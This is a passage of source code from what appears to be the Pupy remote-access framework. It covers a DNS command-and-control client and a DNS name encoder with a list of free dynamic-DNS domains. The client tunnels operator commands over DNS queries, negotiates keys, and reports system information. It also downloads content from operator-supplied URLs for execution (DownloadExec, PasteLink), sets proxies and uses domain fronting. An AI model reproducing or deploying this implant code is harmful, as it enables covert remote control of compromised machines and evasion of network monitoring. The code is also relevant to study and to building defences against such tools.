        self.spi = None
        self.kex = None
        self.poll = 60
        self.active = True
        self.failed = 0
        self.proxy = None
        self.address_table = AddressTable()
        self._request_lock = Lock()

        Thread.__init__(self)

    def next(self):
        logging.debug('Next() ; sleep for %ds', self.poll)
        time.sleep(self.poll)

        self.domain_id = (self.domain_id + 1) % len(self.domains)
        self.domain = self.domains[self.domain_id]
        self.failed = 0

        self.qtype = self._default_qtype

        if self.qtype is None:
            self._probe_record_type()

    def bad_response(self):
        self.failed += 1
        if self.failed > 5:
            next(self)

    def event(self, command):
        logging.debug('Event: %s', command)
        self._request(command)

    def _broadcast_event(self, eventid):
        logging.debug('EventId: %08x', eventid)
        self.event(CustomEvent(eventid))

    def _native_resolve(self, hostname):
        family = None

        if self.qtype == 'A':
            family = socket.AF_INET
        elif self.qtype == 'AAAA':
            family = socket.AF_INET6
        else:
            raise NotImplementedError(
                '{} is not supported by native resolver'.format(self.qtype)
            )

        return set(
            addr[0] for af_family, _, _, _, addr in socket.getaddrinfo(
                hostname, 80, family
            ) if af_family == family
        )

    def _doh_resolve(self, hostname):
        qtype = securedns.AAAA
        if self.qtype == 'A':
            qtype = securedns.A

        return self.ns.resolve(hostname, qtype)

    def _dnslib_resolve(self, hostname):
        if self.qtype is None:
            return []

        q = dnslib.DNSRecord.question(hostname, self.qtype)
        r = None

        try:
            if self.ns_socket:
                with self.ns_socket_lock:
                    self.ns_socket.send(q.pack())
                    r = self.ns_socket.recv(65535)
            else:
                s = socket.socket(socket.AF_INET, self.ns_proto)
                try:
                    s.connect(self.ns)
                    s.settimeout(self.ns_timeout)
                    s.send(q.pack())
                    r = s.recv(65535)
                finally:
                    with self.ns_socket_lock:
                        if self.ns_proto == socket.SOCK_DGRAM and not self.ns_socket:
                            self.ns_socket = s
                        else:
                            s.close()

        except socket.error as e:
            logging.info('NS Request exception: %s (ns=%s)', e, self.ns)
            self.ns_socket = None

        if not r:
            return []

        parsed = dnslib.DNSRecord.parse(r)
        if parsed.header.rcode != dnslib.RCODE.NOERROR:
            return []

        result = []

        for record in parsed.rr:
            if dnslib.QTYPE[record.rtype] != self.qtype:
                continue

            result.append(str(record.rdata))

        return set(result)

    def _aaaa_page_decoder(self, addresses, nonce, symmetric=None):
        if symmetric is None:
            symmetric = self.encoder.kex_completed

        resp = len(addresses)*[None]
        for address in addresses:
            raw = netaddr.IPAddress(address).packed
            idx, = struct.unpack_from('B', raw)
            resp[idx] = raw[1:]

        data = b''.join(resp)
        length, = struct.unpack_from('B', data)
        payload = data[1:1+length]

        return self.encoder.decode(payload, nonce, symmetric)

    def _a_page_decoder(self, addresses, nonce, symmetric=None):
        if symmetric is None:
            symmetric = self.encoder.kex_completed

        resp = len(addresses)*[None]
        for address in addresses:
            raw = 0
            for part in [int(x) << (3-i)*8 for i,x in enumerate(
                    address.split(b'.'))]:
                raw |= part

            idx = (raw & 0x3E000000) >> 25

            bits = (raw & 0x01FFFFFE) >> 1
            resp[idx] = struct.pack('>I', bits)[1:]

        data = b''.join(resp)
        length, = struct.unpack_from('B', data)
        payload = data[1:1+length]

        return self.encoder.decode(payload, nonce, symmetric)

    def _q_page_encoder(self, data):
        data_append = b''
        ldata = len(data)

        if ldata > 35:
            # 35 -- limit, 4 - nonce, 1 - version, 4 - CID, 2 - IID, 6 - NODE
            if CLIENT_VERSION > 1:
                # Total limit: 52 bytes
                if (ldata - 35 + 4 + 1 + 4 + 2 + 6 < 35):
                    data, data_append = data[:35], data[35:]
                else:
                    raise PayloadTooBig(
                        'Page size more than {max_len} bytes ({required_len})',
                        ldata, 52)
            else:
                raise PayloadTooBig(
                    'Page size more than {max_len} bytes ({required_len})',
                    ldata, 35)

        nonce = self.nonce
        node_block = b''

        if CLIENT_VERSION > 1:
            node_block = b''.join((
                data_append,
                struct.pack(
                    '>BIH',
                    CLIENT_VERSION, pupy.client.cid, self.iid
                ),
                to_bytes(self.node, 6)
            ))

        payload = self.encoder.encode(
            data + node_block, nonce,
            symmetric=True
        )

        payload_len = len(payload)

        if node_block:
            len_node_block = payload_len - (ldata - len(data_append))
            split_offset = payload_len - len_node_block
            payload, node_block = payload[:split_offset], payload[split_offset:]

        parts = [
            struct.pack('>I', self.spi) if self.spi else None,
            struct.pack('>I', nonce) + node_block,
            payload
        ]

        encoded = '.'.join([
            ''.join(
                self.translation[x] for x in base64.b32encode(part)
            ) for part in parts if part is not None
        ]) + '.' + self.domain

        self.nonce += payload_len
        return encoded, nonce

    def _probe_record_type(self):
        logging.debug('DNSCNC: Probing supported record type')

        self.qtype = 'A'

        cmd = self._request(Ack(0))
        if not cmd:
            self.qtype = None
            logging.debug('DNSCNC: Probe failed')
            return False

        self.qtype = 'AAAA'
        cmd = self._request(Ack(0))

        if not cmd:
            self.qtype = 'A'

        logging.debug('DNSCNC: Selected record type: %s', self.qtype)
        return True

    def _request(self, *commands):

        answer = None

        try:
            with self._request_lock:
                answer = self._request_unsafe(commands)

        finally:
            if not answer:
                self.bad_response()

        return answer

    def _request_unsafe(self, commands):
        parcel = Parcel(commands)

        gen_csum = None
        check_csum = None

        if CLIENT_VERSION == 2:
            gen_csum = self.encoder.gen_csum
            check_csum = self.encoder.check_csum

        page, nonce = self._q_page_encoder(
            parcel.pack(self.nonce, gen_csum))

        try:
            addresses = self.resolve(page)
            if not addresses:
                logging.info('DNSCNC: no answer')
                return []

        except socket.error as e:
            logging.error('DNSCNC: Communication error: %s', e)
            return []

        response = None

        for attempt in (1, 2):
            try:
                decoder = None

                if self.qtype == 'A':
                    decoder = self._a_page_decoder
                elif self.qtype == 'AAAA':
                    decoder = self._aaaa_page_decoder
                else:
                    raise NotImplementedError(
                        'Unknown type: {}'.format(self.qtype))

                payload = decoder(addresses, nonce)

                if not payload:
                    logging.error('DNSCNC: No data: %s -> %s', addresses, payload)
                    self.spi = None
                    self.encoder.kex_reset()
                    self.on_session_lost()
                    continue

                response = Parcel.unpack(payload, nonce, check_csum)

                if attempt > 0:
                    logging.info('DNSCNC: Recovered (%s) with PSK/PK', attempt)

                break

            except ParcelInvalidCrc:
                logging.error('CRC FAILED / Attempt %d [%s]', attempt, addresses)

                self.spi = None
                self.encoder.kex_reset()
                self.on_session_lost()

            except (IndexError, ParcelInvalidPayload) as e:
                logging.error(
                    'CRC FAILED / Invalid payload (%s) / %s/%s',
                        e, self.failed, 5)

        if response:
            return list(response.commands)

        return []

    def on_pastelink(self, url, action, encoder):
        proxy = self.proxy
        if type(self.proxy) in (list, tuple):
            if len(self.proxy) > 0:
                proxy = self.proxy[0]
            else:
                proxy = None

        http = tinyhttp.HTTP(proxy=proxy, follow_redirects=True)
        content, code = http.get(url, code=True)
        if code == 200:
            try:
                content = ascii85.ascii85DecodeDG(content)
                content = self.encoder.unpack(content)
                if not content:
                    logging.error('PasteLink: unpack failed')
                    return

                content = zlib.decompress(content)
                chash, content = content[:20], content[20:]
                h = hashlib.sha1()
                h.update(content)
                if h.digest() == chash:
                    self.on_pastelink_content(url, action, content)
                else:
                    logging.error('PasteLink: Wrong hash after extraction: %s != %s',
                        h.digest(), chash)
            except Exception as e:
                logging.exception(e)

    def on_downloadexec(self, url, action, use_proxy):
        if not tinyhttp:
            logging.error('TinyHTTP is not available')
            return

        try:
            proxy = self.proxy
            if type(self.proxy) in (list, tuple):
                if len(self.proxy) > 0:
                    proxy = self.proxy[0]
                else:
                    proxy = None

            http = tinyhttp.HTTP(
                proxy=proxy if use_proxy else False,
                follow_redirects=True
            )

            content, code = http.get(url, code=True)
            if code == 200:
                self.on_downloadexec_content(url, action, content)

        except Exception as e:
            logging.exception(e)

    def on_pastelink_content(self, url, action, content):
        pass

    def on_downloadexec_content(self, url, action, content):
        pass

    def on_connect(self, address, port, transport, proxy, hostname=None):
        pass

    def on_checkconnect(self, host, port_start, port_end):
        pass

    def on_checkonline(self):
        pass

    def on_exit(self):
        self.active = False

    def on_disconnect(self):
        pass

    def on_error(self, error, message=None):
        pass

    def on_session_established(self):
        pass

    def on_session_lost(self):
        pass

    def on_set_proxy(self, scheme, ip, port, user, password):
        if not scheme or scheme.lower() == 'none':
            self.proxy = False
        elif scheme.lower() == 'any':
            self.proxy = True
        else:
            if self.proxy in (None, True, False):
                self.proxy = []

            if scheme:
                scheme = scheme.upper()

            if scheme == 'SOCKS':
                scheme = 'SOCKS5'

            self.proxy.append(
                Proxy(scheme, '{}:{}'.format(ip, port), user, password)
            )

    def process(self):
        commands = []

        if self.spi:
            commands = self._request(
                PupyState(
                    pupy.client.connected,
                    pupy.manager.dirty
                ),
                SystemStatus())
        else:
            commands = self._request(Poll())

        need_ack = len([
            x for x in commands if not type(x) in (
                Poll, Kex, Ack
            )
        ])

        if need_ack:
            logging.debug('NEED TO ACK: %s', need_ack)
            ack_response = self._request(Ack(need_ack))
            if not (len(ack_response) == 1 and isinstance(ack_response[0], Ack)):
                logging.error('ACK <-> ACK failed: received: %s', ack_response)

        for command in commands:
            logging.debug('command: %s', command)

            if isinstance(command, Policy):
                self.poll = command.poll

                if command.kex and not self.spi:
                    request = self.encoder.generate_kex_request()
                    kex = Kex(request)
                    response = self._request(kex)
                    if not len(response) == 1 or not isinstance(response[0], Kex):
                        logging.error('KEX sequence failed. Got %s instead of Kex',
                            response)
                        return

                    self.encoder.process_kex_response(response[0].parcel)
                    self.spi = kex.spi
                    self.on_session_established()

            elif isinstance(command, Poll):
                response = self._request(SystemInfoEx())

                if len(response) > 0 and not isinstance(response[0], Ack):
                    logging.debug('dnscnc:Submit SystemInfo: response=%s', response)
                    for cmd in response:
                        commands.append(cmd)

                response = self._request(SystemStatus())
                if len(response) > 0 and not isinstance(response[0], Ack):
                    logging.debug('dnscnc:Submit SystemStatus: response=%s', response)
                    for cmd in response:
                        commands.append(cmd)

            elif isinstance(command, PasteLink):
                self.on_pastelink(command.url, command.action, self.encoder)
            elif isinstance(command, DownloadExec):
                self.on_downloadexec(command.url, command.action, command.proxy)
            elif isinstance(command, SetProxy):
                self.on_set_proxy(
                    command.scheme, command.ip, command.port,
                    command.user, command.password
                )
            elif isinstance(command, Connect):
                self.on_connect(
                    str(command.ip),
                    int(command.port),
                    command.transport,
                    self.proxy
                )
            elif isinstance(command, ConnectEx):
                address = command.address
                fronting = None

                if command.address_type == ConnectEx.TARGET_ID:
                    address = self.address_table.get_address(address)
                    if command.fronting:
                        fronting = self.address_table.get_address(command.fronting)
                else:
                    address = str(address)

                self.on_connect(
                    address,
                    command.port,
                    command.transport,
                    self.proxy,
                    fronting
                )
            elif isinstance(command, RegisterHostnameId):
                logging.debug('Register hostname: %s -> %d', command.hostname, command.id)
                self.address_table.register(command.hostname, command.id)
            elif isinstance(command, Error):
                self.on_error(command.error, command.message)
            elif isinstance(command, Disconnect):
                self.on_disconnect()
            elif isinstance(command, Sleep):
                time.sleep(command.timeout)
            elif isinstance(command, CheckConnect):
                self.on_checkconnect(command.host, command.port_start, port_end=command.port_end)
            elif isinstance(command, OnlineStatusRequest):
                self.on_checkonline()
            elif isinstance(command, Reexec):
                try:
                    executable = os.readlink('/proc/self/exe')
                    args = open('/proc/self/cmdline').read().split('\x00')
                except:
                    executable = sys.executable
                    args = sys.argv

                os.execv(executable, args)
            elif isinstance(command, Exit):
                self.active = False
                self.on_exit()

    def run(self):
        pupy.set_broadcast_event(self._broadcast_event)

        while True:
            try:
                if self.qtype is None:
                    self._probe_record_type()

                if self.qtype is not None:
                    self.process()
                else:
                    logging.warning('Server not found')

            except Exception as e:
                logging.exception(e)

            if self.active:
                logging.debug('sleep %s', self.poll)
                time.sleep(self.poll)
            else:
                break

        pupy.set_broadcast_event(None)


================================================
FILE: pupy/network/lib/picocmd/dns_encoder.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

__all__ = (
    'DnsEncoder', 'Huffman'
)

from io import open

IS_END = '\0'

FREEDNS = (
    '100mountain.com', '10x.es', '120v.ac', '1337.cx', '24-7.ro',
    '2fine.de', '2p.fm', '3dxtras.com', '3trust.com', '404.mn', '4040.idv.tw',
    '4twenty.us', '688.org', '69.mu', 'abuser.eu', 'agropeople.ru', 'aintno.info',
    'allisons.org', 'allowed.org', 'americajhon.com.pe', 'ananda.net.ve',
    'antongorbunov.com', 'asenov.ru', 'asianfreshproduce.com', 'ask2ask.com',
    'astrabus.ru', 'auraria.org', 'australia.ai', 'awiki.org', 'b33r.us', 'bad.mn',
    'bandweite.de', 'beerprojects.com', 'benjamin.it', 'bigbox.info',
    'birdriver.org', 'biz.tm', 'blinklab.com', 'blizzie.net', 'bloom.us', 'bot.nu',
    'boxathome.net', 'ccmissoula.com', 'celebsplay.com', 'chickenkiller.com',
    'cloudwatch.net', 'cnstefancelmare.ro', 'computersforpeace.net',
    'crabdance.com', 'crackedsidewalks.com', 'crazycat.ro', 'csproject.org',
    'custom-gaming.net', 'd-n-s.name', 'd-n-s.org.uk', 'dalk.ru', 'darksair.org',
    'digitalgroupe.com', 'dmtr.ru', 'dnet.hu', 'dob.jp', 'dp76.com',
    'drunkensailor.org', 'dyn.mk', 'e-data.com.tr', 'e-m-a-i-l.org', 'elchemi.com',
    'endlessmovie.com', 'enemyterritory.org', 'epicgamer.org', 'erke.biz.tr',
    'erki.net', 'eva.hk', 'everton.com', 'evils.in', 'evs.net.br', 'ezxdev.org',
    'fairuse.org', 'farted.net', 'fedea.com.ar', 'fin-tech.com', 'fivepals.com',
    'forss.to', 'fr.to', 'ftp.sh', 'galipan.net.ve', 'gerastar.ru',
    'ghostnation.org', 'giveawaylisting.com', 'good-newz.org', 'good.one.pl',
    'gtk.cl', 'gurcanozturk.com', 'h-o-s-t.name', 'h0stname.net', 'h4ck.me',
    'hackquest.com', 'hamshack.info', 'happyforever.com', 'hbmc.net',
    'hiddencorner.org', 'hijaxdesigns.com', 'hin.tw', 'hitremixes.com', 'hmail.us',
    'hmao.pro', 'home.kg', 'homelinuxserver.org', 'homeplex.org', 'host2go.net',
    'hpc.tw', 'hs.vc', 'iceblaze.com', 'ig42.org', 'ignorelist.com', 'iiiii.info',
    'iminecraft.se', 'inet2.org', 'inflict.us', 'info.gf', 'info.tm',
    'innograph.co.id', 'inovasi.co.id', 'iu4ever.org', 'ivi.pl', 'jedimasters.net',
    'jesus.si', 'joe.dj', 'joiavip.com.br', 'jumpingcrab.com', 'jundy.org',
    'k22.su', 'kalbas.com.vn', 'kck-saratov.ru', 'kein.hk', 'kir22.ru', 'ko.tl',
    'kyrgyzstan.kg', 'l5.ca', 'lanas.cl', 'lee.mx', 'lex.mn', 'linkin.tw',
    'lovethosetrains.com', 'madhacker.biz', 'make.com.ar', 'malam.or.id',
    'mcsoft.org', 'mikata.ru', 'mindhackers.org', 'mine.bz', 'minecraftnoob.com',
    'minecraftr.us', 'mm.my', 'mooo.com', 'mooo.info', 'morganisageek.org',
    'mwop.net', 'my.to', 'mycloud.bz', 'mylogisoft.com', 'mysaol.com',
    'n-e-t.name', 'nard.ca', 'nav.co.id', 'nedvighimost-sochi.ru', 'netlord.de',
    'notici.as', 'now.im', 'oganilirkab.go.id', 'ohbah.com', 'patelmortgage.com',
    'photo-cult.com', 'photo-frame.com', 'php-dev.net', 'pii.at',
    'pixelfucker.com', 'playminecraft.ml', 'polissya.eu', 'port0.org',
    'portalindustries.org', 'possessed.us', 'priamaakcia.sk', 'privatedns.org',
    'privateimport.jp', 'procare.co.id', 'prostore.ru', 'psybnc.org', 'punked.us',
    'qc.to', 'qlbv.vn', 'r-o-o-t.net', 'radiogirl.fm', 'raspberryip.com',
    'reason.org.nz', 'richlorenz.com', 'ro.lt', 'root.sx', 'routemehome.com',
    'ruok.org', 'rwbcode.com', 'sadayuki.jp', 'sales-people.ru', 'scay.net',
    'scottlewisonline.com', 'sdp-mos.ru', 'servernux.com', 'serverpit.com',
    'shen.cl', 'shop.tm', 'sly.io', 'smelly.cc', 'soon.it', 'spacetechnology.net',
    'spelar.se', 'stfu-kthx.net', 'stocktester.ru', 'strangled.net',
    'stroyexpert.org', 'suka.se', 'sumibi.org', 'surak.kz', 'surfnet.ca',
    't28.net', 'takeshi.cnt.br', 'technopagans.com', 'thehomeserver.net', 'tru.io',
    'tuck.tw', 'twilightparadox.com', 'tzafrir.org.il', 'u888.cn', 'ufodns.com',
    'ugo.si', 'uk.ms', 'uk.to', 'undo.it', 'us.to', 'vankin.de', 'vctel.com',
    've3.info', 'verymad.net', 'violates.me', 'vxe6.net', 'webs.vc', 'wiki.gd',
    'wildsurf.net', 'winkel.com.ar', 'womenclothingtoday.com', 'xpresit.net',
    'xxxxx.tw', 'yngling.com', 'yourspecialtee.com', 'z0d.eu', 'z86.ru',
    'zanity.net'
)

DNS_ALPHABET = 'abcdefghijklmnopqrstuvwxyz0123456789-.'

class Node(object):
    __slots__ = (
        'weight', 'value'
    )

    def __init__(self, value, weight):
        self.weight = weight
        self.value = value

    def __lt__(self, other):
        if hasattr(other, 'value'):
            if self.value == IS_END:
                return False

        return self.weight < other.weight

    def __repr__(self):
        return '{{N:{}({})}}'.format(self.weight, self.value)


class Root(object):
    __slots__ = (
        'weight', 'A', 'B'
    )

    def __init__(self, A=None, B=None):
        self.weight = 0
        if A is not None:
            self.weight += A.weight
            self.A = A

        if B is not None:
            self.weight += B.weight
            self.B = B

    def __lt__(self, other):
        return self.weight < other.weight

    def __repr__(self):
        return '{{R:({}) ({}) ({})}}'.format(self.weight, self.A, self.B)


class Huffman(object):
    __slots__ = (
        'encoding_table', 'decoding_tree', 'decoding_table',
    )

    def __init__(self, decoding_tree=None, decoding_table=None):
        self.encoding_table = None
        self.decoding_table = []
        self.decoding_tree = decoding_tree

        if self.decoding_tree:
            self._generate_table()

        if decoding_table:
            self.set_decoding_table(decoding_table)

    def set_decoding_table(self, decoding_table):
        self.decoding_table = decoding_table
        self.encoding_table = tuple(
            (term, value, bitlen) for value, bitlen, term in sorted(
                self.decoding_table, key=lambda x: len(x[2]), reverse=True
            )
        )

    def _generate_table(self):
        self.encoding_table = {}

        def bitlen(x):
            i = 0
            while x:
                x >>= 1
                i += 1
            return i - 1

        def _walk(tree, prefix=1):
            if type(tree) == tuple:
                _walk(tree[0], (prefix << 1) | 0)
                _walk(tree[1], (prefix << 1) | 1)
            else:
                b = bitlen(prefix)
                prefix &= ((1 << b) - 1)
                self.encoding_table[tree] = (prefix, b)
                self.decoding_table.append((prefix, b, tree))

        _walk(self.decoding_tree)

        self.decoding_table = sorted(self.decoding_table, key=lambda x: x[1], reverse=True)
        self.encoding_table = tuple(
            (
                term,
                self.encoding_table[term][0],
                self.encoding_table[term][1]
            ) for term in sorted(
                self.encoding_table,
                # key=lambda x: len(self.encoding_table[x]),
                key=lambda x: self.encoding_table[x][1],
                reverse=True
            )
        )

    def encode(self, phrase, last=False):
        phrase += '\x00'

        encoded = []
        remainder = 0
        remainder_bits = 8

        min_bits = min(
            bitlen for _, _, bitlen in self.encoding_table
        )

        while phrase:
            found = False

            if last and phrase.startswith('\x00') and remainder_bits < min_bits:
                break

            for term, value, bitlen in self.encoding_table:
                if phrase.startswith(term):
                    found = True

                    while bitlen:
                        consume_bits = min(bitlen, remainder_bits)
                        rest_bits = bitlen - consume_bits

                        remainder <<= consume_bits
                        remainder |= (value >> rest_bits)

                        value &= ((1 << rest_bits) - 1)
                        bitlen -= consume_bits
                        remainder_bits -= consume_bits

                        if remainder_bits == 0:
                            encoded.append(remainder)
                            remainder = 0
                            remainder_bits = 8

                    phrase = phrase[len(term):]
                    break

            if not found:
                raise ValueError('Not found beginning for ', phrase)

        if remainder_bits:
            remainder <<= remainder_bits
            encoded.append(remainder)

        return ''.join(chr(x) for x in encoded)

    def decode(self, values):
        if not values:
            return

        decoded = []

        max_bitlen = max(
            bitlen for _, bitlen, _ in self.decoding_table
        )

        min_bitlen = min(
            bitlen for _, bitlen, _ in self.decoding_table
        )

        current_bits = 0
        current_bitlen = 0

        completed = False

        while values or current_bitlen:
            while values and current_bitlen < max_bitlen:
                current_bits <<= 8
                current_bits |= ord(values[0])
                current_bitlen += 8
                values = values[1:]

            if current_bitlen < min_bitlen:
                break

            consumed_bitlen = None
            found = False

            for bits, bitlen, symbol in self.decoding_table:
                if current_bitlen < bitlen:
                    continue

                if bitlen == current_bitlen:
                    to_compare = current_bits
                else:
                    to_compare = (current_bits >> (current_bitlen - bitlen)) & ((1 << bitlen) - 1)

                if bits == to_compare:
                    found = True
                    consumed_bitlen = bitlen

                    if symbol == '\x00':
                        completed = True
                    else:
                        decoded.append(symbol)

                    break

            assert(found)

            current_bits &= (1 << (current_bitlen - consumed_bitlen)) - 1
            current_bitlen -= consumed_bitlen

            if completed:
                break

        if current_bitlen > 8:
            values = chr(current_bits & 0xFF) + values

        return ''.join(decoded), values

    def train(self, frequences):
        import heapq

        queue = []

        for value, frequency in frequences:
            heapq.heappush(queue, Node(value, frequency))

        A = None

        while True:
            A = heapq.heappop(queue)
            try:
                B = heapq.heappop(queue)
                heapq.heappush(queue, Root(A, B))
            except IndexError:
                break

        encoding_table = {}

        def _make_tree(root, prefix=0):
            if root is None:
                return

            elif type(root) == Root:
                return (
                    _make_tree(root.A, (prefix << 1) | 0),
                    _make_tree(root.B, (prefix << 1) | 1)
                )

            else:
                encoding_table[root.value] = prefix
                return root.value

        self.decoding_tree = _make_tree(A)
        self._generate_table()


class TmpResult(object):
    __slots__ = (
        'encoded_tables', 'encoded', 'rest', 'table_id'
    )

    def __init__(self, encoded_tables, encoded, rest, table_id):
        self.encoded_tables = encoded_tables
        self.encoded = encoded
        self.rest = rest
        self.table_id = table_id


class DnsEncoder(object):
    __slots__ = (
        'tables', 'encoders'
    )

    TABLE_FREEDNS = 0b00
    TABLE_TLDS = 0b01
    TABLE_TERM = 0b10
    TABLE_GENERIC = 0b11

    # ENCODING:
    # 3 bits - AMOUNT OF PARTS
    # [ 2 bits - ID of table ] [ 2 bits - ID of table ] ...
    # RECORD \0 RECORD \0 TLD

    def __init__(self, tables=None):

        if tables is None:
            from .dns_encoder_table import TREES
            tables = TREES

        mappings = {
            'generic': self.TABLE_GENERIC,
            'tlds': self.TABLE_TLDS,
            'terms': self.TABLE_TERM
        }

        self.tables = tables
        self.encoders = {
            mappings[table]: Huffman(decoding_table=tables[table]) for table in tables
            if table in mappings
        }

    def encode(self, data):
        data = data.lower()

        def _recursive_encoder(encoded_tables, encoded, rest):
            if not rest:
                return encoded_tables, encoded

            elif len(rest) == 1:
                try:
                    this_encoded = self.encoders[self.TABLE_TLDS].encode(rest[0], last=True)
                    return encoded_tables, encoded + this_encoded

                except ValueError:
                    pass

            results = []

            generic_encoded_tables = list(encoded_tables)
            generic_encoded_tables.append(self.TABLE_GENERIC)

            for merged_parts in xrange(2, len(rest)+1):
                joined_rest = '.'.join(rest[:merged_parts])
                not_joined_rest = rest[merged_parts:]

                generic_encoded_tables, generic_encoded = _recursive_encoder(
                    generic_encoded_tables, encoded + self.encoders[self.TABLE_GENERIC].encode(
                        joined_rest, last=not bool(not_joined_rest)), not_joined_rest)

                results.append(TmpResult(
                    generic_encoded_tables, generic_encoded, not_joined_rest, self.TABLE_GENERIC))

            word = rest[0]
            joined_rest = '.'.join(rest)

            for idx, domain in enumerate(FREEDNS):
                if word == domain:
                    this_encoded_tables = list(encoded_tables)
                    this_encoded_tables.append(self.TABLE_FREEDNS)
                    this_encoded_tables, this_encoded = _recursive_encoder(
                        this_encoded_tables, encoded + chr(idx), rest[1:]
                    )
                    results.append(TmpResult(
                        this_encoded_tables, this_encoded, rest[1:], self.TABLE_FREEDNS))
                    break

                elif joined_rest == domain:
                    this_encoded_tables = list(encoded_tables)
                    this_encoded_tables.append(self.TABLE_FREEDNS)
                    this_encoded_tables, this_encoded = _recursive_encoder(
                        this_encoded_tables, encoded + chr(idx), []
                    )
                    results.append(TmpResult(
                        this_encoded_tables, this_encoded, [], self.TABLE_FREEDNS))
                    break

            for encoder in self.encoders:
                this_encoded_tables = list(encoded_tables)
                this_encoded_tables.append(encoder)
                try:
                    this_rest = rest[1:]
                    this_encoded_tables, this_encoded = _recursive_encoder(
                        this_encoded_tables, encoded + self.encoders[encoder].encode(
                            word, last=not bool(this_rest)), this_rest)
                except ValueError:
                    # Not possible, retry
                    continue

                results.append(TmpResult(
                    this_encoded_tables, this_encoded, rest[1:], encoder))

            best = sorted(results, key=lambda x: len(x.encoded))[0]
            return best.encoded_tables, best.encoded

        rest = data.rsplit('.', 3)
        tables, data = _recursive_encoder([], '', rest)

        tables_map = 0b0
        for table in tables:
            tables_map <<= 2
            tables_map |= table
        tables_map |= len(tables) << 6
        return chr(tables_map) + data

    def decode(self, data):
        tables_map_encoded = ord(data[0])
        encoded = data[1:]
        decoded = []
        tables = []
        tables_cnt = (tables_map_encoded >> 6) & 0b11

        for idx in xrange(tables_cnt):
            tables.insert(0, (tables_map_encoded >> (idx * 2)) & 0b11)

        for table in tables:
            decoded_part, encoded = self.encoders[table].decode(encoded)
            decoded.append(decoded_part)

        if encoded:
            decoded_part, encoded = self.encoders[self.TABLE_TLDS].decode(encoded)
            decoded.append(decoded_part)

        return '.'.join(decoded), encoded


if __name__ == '__main__':
    import zstd
    import sys
    import io

    TLDS = (
        'aaa', 'aarp', 'abarth', 'abb', 'abbott', 'abbvie', 'abc', 'able', 'abogado',
        'abudhabi', 'ac', 'academy', 'accenture', 'accountant', 'accountants', 'aco',
        'actor', 'ad', 'adac', 'ads', 'adult', 'ae', 'aeg', 'aero', 'aetna', 'af',
        'afamilycompany', 'afl', 'africa', 'ag', 'agakhan', 'agency', 'ai', 'aig',
        'aigo', 'airbus', 'airforce', 'airtel', 'akdn', 'al', 'alfaromeo', 'alibaba',
        'alipay', 'allfinanz', 'allstate', 'ally', 'alsace', 'alstom', 'am',
        'americanexpress', 'americanfamily', 'amex', 'amfam', 'amica', 'amsterdam',
        'analytics', 'android', 'anquan', 'anz', 'ao', 'aol', 'apartments', 'app',
        'apple', 'aq', 'aquarelle', 'ar', 'arab', 'aramco', 'archi', 'army', 'arpa',
        'art', 'arte', 'as', 'asda', 'asia', 'associates', 'at', 'athleta', 'attorney',
        'au', 'auction', 'audi', 'audible', 'audio', 'auspost', 'author', 'auto',
        'autos', 'avianca', 'aw', 'aws', 'ax', 'axa', 'az', 'azure', 'ba', 'baby',
        'baidu', 'banamex', 'bananarepublic', 'band', 'bank', 'bar', 'barcelona',
        'barclaycard', 'barclays', 'barefoot', 'bargains', 'baseball', 'basketball',
        'bauhaus', 'bayern', 'bb', 'bbc', 'bbt', 'bbva', 'bcg', 'bcn', 'bd', 'be',
        'beats', 'beauty', 'beer', 'bentley', 'berlin', 'best', 'bestbuy', 'bet', 'bf',
        'bg', 'bh', 'bharti', 'bi', 'bible', 'bid', 'bike', 'bing', 'bingo', 'bio',
        'biz', 'bj', 'black', 'blackfriday', 'blockbuster', 'blog', 'bloomberg',
        'blue', 'bm', 'bms', 'bmw', 'bn', 'bnl', 'bnpparibas', 'bo', 'boats',
        'boehringer', 'bofa', 'bom', 'bond', 'boo', 'book', 'booking', 'bosch',
        'bostik', 'boston', 'bot', 'boutique', 'box', 'br', 'bradesco', 'bridgestone',
        'broadway', 'broker', 'brother', 'brussels', 'bs', 'bt', 'budapest', 'bugatti',
        'build', 'builders', 'business', 'buy', 'buzz', 'bv', 'bw', 'by', 'bz', 'bzh',
        'ca', 'cab', 'cafe', 'cal', 'call', 'calvinklein', 'cam', 'camera', 'camp',
        'cancerresearch', 'canon', 'capetown', 'capital', 'capitalone', 'car',
        'caravan', 'cards', 'care', 'career', 'careers', 'cars', 'cartier', 'casa',
        'case', 'caseih', 'cash', 'casino', 'cat', 'catering', 'catholic', 'cba',
        'cbn', 'cbre', 'cbs', 'cc', 'cd', 'ceb', 'center', 'ceo', 'cern', 'cf', 'cfa',
        'cfd', 'cg', 'ch', 'chanel', 'channel', 'charity', 'chase', 'chat', 'cheap',
        'chintai', 'christmas', 'chrome', 'chrysler', 'church', 'ci', 'cipriani',
        'circle', 'cisco', 'citadel', 'citi', 'citic', 'city', 'cityeats', 'ck', 'cl',
        'claims', 'cleaning', 'click', 'clinic', 'clinique', 'clothing', 'cloud',
        'club', 'clubmed', 'cm', 'cn', 'co', 'coach', 'codes', 'coffee', 'college',
        'cologne', 'com', 'comcast', 'commbank', 'community', 'company', 'compare',
        'computer', 'comsec', 'condos', 'construction', 'consulting', 'contact',
        'contractors', 'cooking', 'cookingchannel', 'cool', 'coop', 'corsica',
        'country', 'coupon', 'coupons', 'courses', 'cr', 'credit', 'creditcard',
        'creditunion', 'cricket', 'crown', 'crs', 'cruise', 'cruises', 'csc', 'cu',
        'cuisinella', 'cv', 'cw', 'cx', 'cy', 'cymru', 'cyou', 'cz', 'dabur', 'dad',
        'dance', 'data', 'date', 'dating', 'datsun', 'day', 'dclk', 'dds', 'de',
        'deal', 'dealer', 'deals', 'degree', 'delivery', 'dell', 'deloitte', 'delta',
        'democrat', 'dental', 'dentist', 'desi', 'design', 'dev', 'dhl', 'diamonds',
        'diet', 'digital', 'direct', 'directory', 'discount', 'discover', 'dish',
        'diy', 'dj', 'dk', 'dm', 'dnp', 'do', 'docs', 'doctor', 'dodge', 'dog',
        'domains', 'dot', 'download', 'drive', 'dtv', 'dubai', 'duck', 'dunlop',
        'duns', 'dupont', 'durban', 'dvag', 'dvr', 'dz', 'earth', 'eat', 'ec', 'eco',
        'edeka', 'edu', 'education', 'ee', 'eg', 'email', 'emerck', 'energy',
        'engineer', 'engineering', 'enterprises', 'epson', 'equipment', 'er',
        'ericsson', 'erni', 'es', 'esq', 'estate', 'esurance', 'et', 'etisalat', 'eu',
        'eurovision', 'eus', 'events', 'everbank', 'exchange', 'expert', 'exposed',
